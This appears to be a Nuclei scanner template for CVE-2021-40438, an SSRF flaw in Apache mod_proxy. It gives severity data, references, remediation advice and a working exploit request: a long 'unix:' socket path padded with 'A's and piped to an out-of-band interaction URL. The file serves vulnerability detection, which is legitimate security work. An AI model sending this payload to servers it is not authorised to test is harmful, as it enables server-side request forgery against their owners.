49 lines
1.6 KiB
YAML
49 lines
1.6 KiB
YAML
id: CVE-2021-40438
|
|
|
|
info:
|
|
name: Apache <= 2.4.48 - Mod_Proxy SSRF
|
|
author: pdteam
|
|
severity: critical
|
|
description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
|
|
remediation: Upgrade to Apache version 2.4.49 or later.
|
|
reference:
|
|
- https://firzen.de/building-a-poc-for-cve-2021-40438
|
|
- https://httpd.apache.org/security/vulnerabilities_24.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
|
|
- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
|
|
- https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 9
|
|
cve-id: CVE-2021-40438
|
|
cwe-id: CWE-918
|
|
epss-score: 0.97279
|
|
epss-percentile: 0.99808
|
|
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apache
|
|
product: http_server
|
|
tags: cve,cve2021,ssrf,apache,mod-proxy,kev
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}'
|
|
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Interactsh Server"
|
|
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
# digest: 490a0046304402204369c9d54aa6f128d408fcc475b18b6dcf5c4609e987bfd3f59c0b335900fbb102204a6eb54c9cae1fb94da754896452978b2c2aea0b52adfdd1b23efe84a42d7028:922c64590222798bb761d5b6d8e72950
|